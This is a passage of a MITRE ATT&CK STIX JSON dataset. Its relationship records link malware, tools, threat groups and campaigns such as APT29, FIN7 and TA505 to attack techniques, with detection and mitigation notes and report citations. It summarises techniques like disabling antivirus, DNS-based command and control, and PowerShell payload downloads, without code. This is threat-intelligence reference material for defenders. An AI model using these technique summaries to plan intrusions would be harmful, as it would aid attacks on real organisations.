2021."}],"modified":"2021-10-14T16:53:14.420Z","description":"[Conficker](https://attack.mitre.org/software/S0608) terminates various services related to system security and Windows.(Citation: SANS Conficker)","relationship_type":"uses","source_ref":"malware--58eddbaf-7416-419a-ad7b-e65b9d4c3b55","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ca140f83-3fc6-44e8-b588-806fb60e7e7e","created":"2022-08-26T21:52:26.137Z","x_mitre_version":"0.1","external_references":[{"source_name":"ZScaler Squirrelwaffle Sep 2021","url":"https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike","description":"Kumar, A., Stone-Gross, Brett. (2021, September 28). Squirrelwaffle: New Loader Delivering Cobalt Strike. Retrieved August 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Squirrelwaffle](https://attack.mitre.org/software/S1030) has encrypted collected data using a XOR-based algorithm.(Citation: ZScaler Squirrelwaffle Sep 2021)","modified":"2022-08-26T21:52:26.137Z","relationship_type":"uses","source_ref":"malware--3c18ad16-9eaf-4649-984e-68551bff0d47","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ca1a0b5b-f07e-4017-8d9e-da784a75dc37","created":"2022-08-03T15:22:22.689Z","x_mitre_version":"0.1","external_references":[{"source_name":"Mandiant APT29 Trello","url":"https://www.mandiant.com/resources/tracking-apt29-phishing-campaigns","description":"Wolfram, J. et al. (2022, April 28). Trello From the Other Side: Tracking APT29 Phishing Campaigns. Retrieved August 3, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[APT29](https://attack.mitre.org/groups/G0016) has abused misconfigured AD CS certificate templates to impersonate admin users and create additional authentication certificates.(Citation: Mandiant APT29 Trello)","modified":"2022-08-03T15:22:22.689Z","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--7de1f7ac-5d0c-4c9c-8873-627202205331","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ca1afca5-2f16-497e-bfff-1564706e05f2","type":"relationship","created":"2020-05-26T16:17:59.626Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Rocke August 2018","url":"https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html","description":"Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020."},{"source_name":"Unit 42 Rocke January 2019","url":"https://unit42.paloaltonetworks.com/malware-used-by-rocke-group-evolves-to-evade-detection-by-cloud-security-products/","description":"Xingyu, J.. (2019, January 17). Malware Used by Rocke Group Evolves to Evade Detection by Cloud Security Products. Retrieved May 26, 2020."}],"modified":"2020-05-26T16:17:59.626Z","description":"[Rocke](https://attack.mitre.org/groups/G0106) used scripts which detected and uninstalled antivirus software.(Citation: Talos Rocke August 2018)(Citation: Unit 42 Rocke January 2019)","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ca260140-0bdb-4862-ba93-6fb977753fc6","created":"2022-03-30T14:26:51.844Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for API calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller","modified":"2022-04-20T13:06:17.137Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ca295c89-bee0-4702-b0e1-61416023bacb","type":"relationship","created":"2020-12-17T19:43:08.197Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Cicada November 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage","description":"Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020."}],"modified":"2020-12-17T19:43:08.197Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has searched compromised systems for folders of interest including those related to HR, audit and expense, and meeting memos.(Citation: Symantec Cicada November 2020)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ca2a22df-7f99-497a-8f51-cf0180308305","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html","description":"Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.","source_name":"FireEye FIN7 Aug 2018"}],"modified":"2020-03-17T01:19:09.289Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has performed C2 using DNS via A, OPT, and TXT records.(Citation: FireEye FIN7 Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ca2d1f51-cbd8-403b-a957-b142ba7895bf","created":"2024-09-25T15:28:19.758Z","revoked":false,"external_references":[{"source_name":"CISA Play Ransomware Advisory December 2023","description":"CISA. (2023, December 18). #StopRansomware: Play Ransomware AA23-352A. Retrieved September 24, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-352a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:28:19.758Z","description":"\n[Play](https://attack.mitre.org/groups/G1040) has used the information-stealing tool Grixba to scan for anti-virus software.(Citation: CISA Play Ransomware Advisory December 2023)\n","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ca2f6580-fb02-4687-b514-94bad87f7bf8","type":"relationship","created":"2020-10-27T19:26:37.922Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT BLINDINGCAN Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a","description":"US-CERT. (2020, August 19). MAR-10295134-1.v1 – North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020."},{"source_name":"NHS UK BLINDINGCAN Aug 2020","url":"https://digital.nhs.uk/cyber-alerts/2020/cc-3603","description":"NHS Digital . (2020, August 20). BLINDINGCAN Remote Access Trojan. Retrieved August 20, 2020."}],"modified":"2020-11-09T21:54:38.943Z","description":"[BLINDINGCAN](https://attack.mitre.org/software/S0520) can search, read, write, move, and execute files.(Citation: US-CERT BLINDINGCAN Aug 2020)(Citation: NHS UK BLINDINGCAN Aug 2020)","relationship_type":"uses","source_ref":"malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ca31e6ec-8cf9-4e5e-907a-895c3d19543f","created":"2023-10-03T19:14:24.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"AsyncRAT GitHub","description":"Nyan-x-Cat. (n.d.). NYAN-x-CAT / AsyncRAT-C-Sharp. Retrieved October 3, 2023.","url":"https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/blob/master/README.md"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T19:18:42.099Z","description":"[AsyncRAT](https://attack.mitre.org/software/S1087) has the ability to download files over SFTP.(Citation: AsyncRAT GitHub)","relationship_type":"uses","source_ref":"tool--6a5947f3-1a36-4653-8734-526df3e1d28d","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ca33387d-495a-460a-86da-d5f8d8adda31","type":"relationship","created":"2020-06-30T00:39:39.881Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sophos Ragnar May 2020","url":"https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/","description":"SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."}],"modified":"2020-06-30T00:39:39.881Z","description":"[Ragnar Locker](https://attack.mitre.org/software/S0481) has attempted to terminate/stop processes and services associated with endpoint security products.(Citation: Sophos Ragnar May 2020)","relationship_type":"uses","source_ref":"malware--54895630-efd2-4608-9c24-319de972a9eb","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ca38e574-09b1-4fc3-beb1-2af04189c05d","type":"relationship","created":"2020-10-02T14:56:25.034Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-02T14:56:25.034Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262","target_ref":"attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ca38f31f-3551-49e3-835b-588693a8b512","type":"relationship","created":"2020-05-15T13:43:22.758Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist DarkVishnya Dec 2018","url":"https://securelist.com/darkvishnya/89169/","description":"Golovanov, S. (2018, December 6). DarkVishnya: Banks attacked through direct connection to local network. Retrieved May 15, 2020."}],"modified":"2020-05-15T13:43:22.758Z","description":"[DarkVishnya](https://attack.mitre.org/groups/G0105) used ports 5190 and 7900 for shellcode listeners, and 4444, 4445, 31337 for shellcode C2.(Citation: Securelist DarkVishnya Dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--813636db-3939-4a45-bea9-6113e970c029","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ca3f0924-306a-409e-a1b6-135b781f3dbf","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Bisonal July 2018","description":"Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/"},{"source_name":"Kaspersky CactusPete Aug 2020","url":"https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/","description":"Zykov, K. (2020, August 13). CactusPete APT group’s updated Bisonal backdoor. Retrieved May 5, 2021."},{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}],"modified":"2022-01-26T21:16:54.684Z","description":"[Bisonal](https://attack.mitre.org/software/S0268) has launched cmd.exe and used the ShellExecuteW() API function to execute commands on the system.(Citation: Unit 42 Bisonal July 2018)(Citation: Kaspersky CactusPete Aug 2020)(Citation: Talos Bisonal Mar 2020)","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ca429946-3c81-4773-8254-108dbdbb9da9","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","source_name":"Microsoft PLATINUM April 2016"}],"modified":"2019-05-10T12:14:32.158Z","description":"[PLATINUM](https://attack.mitre.org/groups/G0068) has used various methods of process injection including hot patching.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ca433ac6-fb5a-41bc-969b-4721571fe836","type":"relationship","created":"2020-10-19T13:40:11.224Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-25T18:41:12.016Z","description":"Ensure that all wired and/or wireless traffic is encrypted appropriately. Use best practices for authentication protocols, such as Kerberos, and ensure web traffic that may contain credentials is protected by SSL/TLS.","relationship_type":"mitigates","source_ref":"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157","target_ref":"attack-pattern--7c46b364-8496-4234-8a56-f7e6727e21e1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ca476de5-e17e-4011-9e5b-b438299c385c","created":"2022-09-29T20:23:54.941Z","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T20:23:54.941Z","description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors limited [Rclone](https://attack.mitre.org/software/S1040)'s bandwidth setting during exfiltration.(Citation: DFIR Conti Bazar Nov 2021) ","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ca47d783-2a71-4ff9-b5aa-df2c1805ea7a","created":"2023-08-01T18:32:55.844Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Gigamon BADHATCH Jul 2019","description":"Savelesky, K., et al. (2019, July 23). ABADBABE 8BADFOOD: Discovering BADHATCH and a Detailed Look at FIN8's Tooling. Retrieved September 8, 2021.","url":"https://blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/"},{"source_name":"BitDefender BADHATCH Mar 2021","description":"Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:36:33.465Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) can use `cmd.exe` to execute commands on a compromised host.(Citation: Gigamon BADHATCH Jul 2019)(Citation: BitDefender BADHATCH Mar 2021) ","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ca484dbf-aa28-4d7e-90bb-b60723ff70b1","created":"2019-05-28T16:46:48.396Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Proofpoint TA505 Sep 2017","description":"Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter"},{"source_name":"ProofPoint SettingContent-ms July 2018","description":"Proofpoint Staff. (2018, July 19). TA505 Abusing SettingContent-ms within PDF files to Distribute FlawedAmmyy RAT. Retrieved April 19, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-abusing-settingcontent-ms-within-pdf-files-distribute-flawedammyy-rat"},{"source_name":"Cybereason TA505 April 2019","description":"Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.","url":"https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware"},{"source_name":"Deep Instinct TA505 Apr 2019","description":"Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved September 16, 2024..","url":"https://www.deepinstinct.com/blog/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T16:25:13.667Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has used PowerShell to download and execute malware and reconnaissance scripts.(Citation: Proofpoint TA505 Sep 2017)(Citation: ProofPoint SettingContent-ms July 2018)(Citation: Cybereason TA505 April 2019)(Citation: Deep Instinct TA505 Apr 2019)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ca4c427c-2804-419d-b4ba-c07ed2cb24ab","created":"2024-06-11T18:45:55.670Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Huntress INC Ransomware May 2024","description":"Carvey, H. (2024, May 1). LOLBin to INC Ransomware. Retrieved June 5, 2024.","url":"https://www.huntress.com/blog/lolbin-to-inc-ransomware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-02T20:49:12.406Z","description":"\n[INC Ransom](https://attack.mitre.org/groups/G1032) has uninstalled tools from compromised endpoints after use.(Citation: Huntress INC Ransomware May 2024)","relationship_type":"uses","source_ref":"intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ca4d01b7-6e5b-4e4f-8b0a-2d1eaccefa01","created":"2022-07-08T14:16:39.459Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft POLONIUM June 2022","url":"https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/","description":"Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[CreepySnail](https://attack.mitre.org/software/S1024) can connect to C2 for data exfiltration.(Citation: Microsoft POLONIUM June 2022)","modified":"2022-07-25T16:19:16.379Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--d23de441-f9cf-4802-b1ff-f588a11a896b","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ca509010-11dc-491b-9ec1-e1329d73c396","type":"relationship","created":"2022-03-30T14:26:51.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.837Z","description":"Monitor executed commands and arguments to collect data stored in the clipboard from users copying information within or between applications.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ca56b2a6-39a7-4449-9017-fa8ce4285ed5","created":"2023-09-14T19:01:00.251Z","revoked":false,"external_references":[{"source_name":"Trend Micro Ngrok September 2020","description":"Borja, A. Camba, A. et al (2020, September 14). Analysis of a Convoluted Attack Chain Involving Ngrok. Retrieved September 15, 2020.","url":"https://www.trendmicro.com/en_us/research/20/i/analysis-of-a-convoluted-attack-chain-involving-ngrok.html"},{"source_name":"Cyware Ngrok May 2019","description":"Cyware. (2019, May 29). Cyber attackers leverage tunneling service to drop Lokibot onto victims’ systems. Retrieved September 15, 2020.","url":"https://cyware.com/news/cyber-attackers-leverage-tunneling-service-to-drop-lokibot-onto-victims-systems-6f610e44"},{"source_name":"FireEye Maze May 2020","description":"Kennelly, J., Goody, K., Shilko, J. (2020, May 7). Navigating the MAZE: Tactics, Techniques and Procedures Associated With MAZE Ransomware Incidents. Retrieved May 18, 2020.","url":"https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html"},{"source_name":"MalwareBytes Ngrok February 2020","description":"Segura, J. (2020, February 26). Fraudsters cloak credit card skimmer with fake content delivery network, ngrok server. Retrieved September 15, 2020.","url":"https://blog.malwarebytes.com/threat-analysis/2020/02/fraudsters-cloak-credit-card-skimmer-with-fake-content-delivery-network-ngrok-server/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-14T19:01:00.251Z","description":"[ngrok](https://attack.mitre.org/software/S0508) can tunnel RDP and other services securely over internet connections.(Citation: FireEye Maze May 2020)(Citation: Cyware Ngrok May 2019)(Citation: MalwareBytes Ngrok February 2020)(Citation: Trend Micro Ngrok September 2020)","relationship_type":"uses","source_ref":"tool--2f7f03bb-f367-4a5a-ad9b-310a12a48906","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ca5d71c9-2184-4cb2-9a63-2146fba66175","type":"relationship","created":"2021-03-12T18:46:47.237Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."}],"modified":"2021-03-12T18:46:47.237Z","description":"[Sibot](https://attack.mitre.org/software/S0589) has retrieved a GUID associated with a present LAN connection on a compromised machine.(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"malware--979adb5a-dc30-48f0-9e3d-9a26d866928c","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ca63e845-f0dd-4bfe-9b64-b7daa5d5244e","type":"relationship","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.848Z","description":"Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Web Application Firewalls may detect improper inputs attempting exploitation.","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ca71a63a-4481-46d2-98b2-b83cce190380","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Red Canary NETWIRE January 2020","description":"Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021.","url":"https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/"},{"source_name":"FireEye NETWIRE March 2019","description":"Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021.","url":"https://www.mandiant.com/resources/blog/dissecting-netwire-phishing-campaigns-usage-process-hollowing"},{"source_name":"McAfee Netwire Mar 2015","description":"McAfee. (2015, March 2). Netwire RAT Behind Recent Targeted Attacks. Retrieved February 15, 